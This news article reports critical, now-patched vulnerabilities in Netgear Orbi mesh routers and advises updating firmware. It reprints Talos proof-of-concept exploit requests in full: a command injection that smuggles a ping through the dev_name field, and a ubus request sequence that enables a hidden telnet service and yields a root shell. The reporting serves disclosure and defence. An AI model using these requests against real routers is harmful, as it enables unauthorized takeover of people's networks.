If your Netgear Orbi router isn’t patched, you’ll want to change that pronto

If you rely on Netgear’s Orbi mesh wireless system to connect to the Internet, you’ll want to ensure it’s running the latest firmware now that exploit code has been released for critical vulnerabilities in older versions.

The Netgear Orbi mesh wireless system comprises a main hub router and one or more satellite routers that extend the network’s range. By setting up multiple access points in a home or office, they form a mesh system that ensures Wi-Fi coverage is available throughout.

Remotely injecting arbitrary commands

Last year, researchers on Cisco’s Talos security team discovered four vulnerabilities and privately reported them to Netgear. The most severe of the vulnerabilities, tracked as CVE-2022-37337, resides in the access control functionality of the RBR750. Hackers can exploit it to remotely execute commands by sending specially crafted HTTP requests to the device. The hacker must first connect to the device, either by knowing the SSID password or by accessing an unprotected SSID. The severity of the flaw is rated 9.1 out of a possible 10.

In January, Netgear released firmware updates that patched the vulnerability. Now, Talos published a proof-of-concept exploit code along with technical details.

“The access control functionality of the Orbi RBR750 allows a user to explicitly add devices (specified by MAC address and a hostname) to allow or block the specified device when attempting to access the network,” Talos researchers wrote. “However, the dev_name parameter is vulnerable to command injection.”

The exploit code released is:

POST /access_control_add.cgi?id=e7bbf8edbf4393c063a616d78bd04dfac332ca652029be9095c4b5b77f6203c1 HTTP/1.1
Host: 10.0.0.1
Content-Length: 104
Authorization: Basic YWRtaW46UGFzc3cwcmQ=
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: yummy_magical_cookie=/; XSRF_TOKEN=2516336866
Connection: close

action=Apply&mac_addr=aabbccddeeaa&dev_name=test;ping${IFS}10.0.0.4&access_control_add_type=blocked_list

The device will respond with the following:

   root@RBR750:/tmp# ps | grep ping
   21763 root  	1336 S	ping 10.0.0.4

Two other vulnerabilities Talos discovered also received patches in January. CVE-2022-36429 is also a remote command execution flaw that can be exploited by sending a sequence of malicious packets that create a specially crafted JSON object. Its severity rating is 7.2.

The exploit begins by using the SHA256 sum of the password with the username ‘admin’ to return an authentication cookie required to start an undocumented telnet session:

POST /ubus HTTP/1.1
Host: 10.0.0.4
Content-Length: 217
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content-Type: application/json
Origin: http://10.0.0.4
Referer: http://10.0.0.4/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"method":"call","params":["00000000000000000000000000000000","session","login",{"username":"admin","password":"","timeout":900}],"jsonrpc":"2.0","id":3}

The ‘ubus_rpc_session’ token needed to start the hidden telnet service will then appear:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 829
Connection: close
Date: Mon, 11 Jul 2022 19:27:03 GMT
Server: lighttpd/1.4.45

{"jsonrpc":"2.0","id":3,"result":[0,{"ubus_rpc_session":"e6c28cc8358cb9182daa29e01782df67","timeout":900,"expires":899,"acls":{"access-group":{"netgear":["read","write"],"unauthenticated":["read"]},"ubus":{"netgear.get":["pot_details","satellite_status","connected_device","get_language"],"netgear.log":["ntgrlog_status","log_boot_status","telnet_status","packet_capture_status","firmware_version","hop_count","cpu_load","ntgrlog_start","ntgrlog_stop","log_boot_enable","log_boot_disable","telnet_enable","telnet_disable","packet_capture_start","packet_capture_stop"],"netgear.set":["set_language"],"netgear.upgrade":["upgrade_status","upgrade_version","upgrade_start"],"session":["access","destroy","get","login"],"system":["info"],"uci":["*"]},"webui-io":{"download":["read"],"upload":["write"]}},"data":{"username":"admin"}}]}

The adversary then adds a parameter called ‘telnet_enable’ to start the telnet service:

POST /ubus HTTP/1.1
Host: 10.0.0.4
Content-Length: 138
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Content-Type: application/json
Origin: http://10.0.0.4
Referer: http://10.0.0.4/status.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"method":"call","params":["e6c28cc8358cb9182daa29e01782df67","netgear.log","telnet_enable","log_boot_enable",{}],"jsonrpc":"2.0","id":13}

The same password used to generate the SHA256 hash with the username ‘admin’ will then allow an attacker to log in to the service:

$ telnet 10.0.0.4
Trying 10.0.0.4...
Connected to 10.0.0.4.
Escape character is '^]'.

login: admin
Password: === IMPORTANT ============================
 Use 'passwd' to set your login password
 this will disable telnet and enable SSH
------------------------------------------


BusyBox v1.30.1 () built-in shell (ash)

 	MM       	NM                	MMMMMMM      	M   	M
   $MMMMM    	MMMMM            	MMMMMMMMMMM  	MMM 	MMM
  MMMMMMMM 	MM MMMMM.          	MMMMM:MMMMMM:   MMMM   MMMMM
MMMM= MMMMMM  MMM   MMMM   	MMMMM   MMMM  MMMMMM   MMMM  MMMMM'
MMMM=  MMMMM MMMM	MM   	MMMMM	MMMM	MMMM   MMMMNMMMMM
MMMM=   MMMM  MMMMM      	MMMMM 	MMMM	MMMM   MMMMMMMM
MMMM=   MMMM   MMMMMM   	MMMMM  	MMMM	MMMM   MMMMMMMMM
MMMM=   MMMM 	MMMMM,	NMMMMMMMM   MMMM	MMMM   MMMMMMMMMMM
MMMM=   MMMM  	MMMMMM   MMMMMMMM	MMMM	MMMM   MMMM  MMMMMM
MMMM=   MMMM   MM	MMMM	MMMM  	MMMM	MMMM   MMMM	MMMM
MMMM$ ,MMMMM  MMMMM  MMMM	MMM   	MMMM   MMMMM   MMMM	MMMM
  MMMMMMM:  	MMMMMMM 	M     	MMMMMMMMMMMM  MMMMMMM MMMMMMM
	MMMMMM   	MMMMN 	M       	MMMMMMMMM  	MMMM	MMMM
 	MMMM      	M                	MMMMMMM    	M   	M
   	M
 ---------------------------------------------------------------
   For those about to rock... (Chaos Calmer, rtm-4.6.8.5+r49254)
 ---------------------------------------------------------------
root@RBS750:/#

The other patched vulnerability is CVE-2022-38458, with a severity rating of 6.5. It stems from the device prompting users to enter a password over an HTTP connection, which isn’t encrypted. An adversary on the same network can then sniff the password.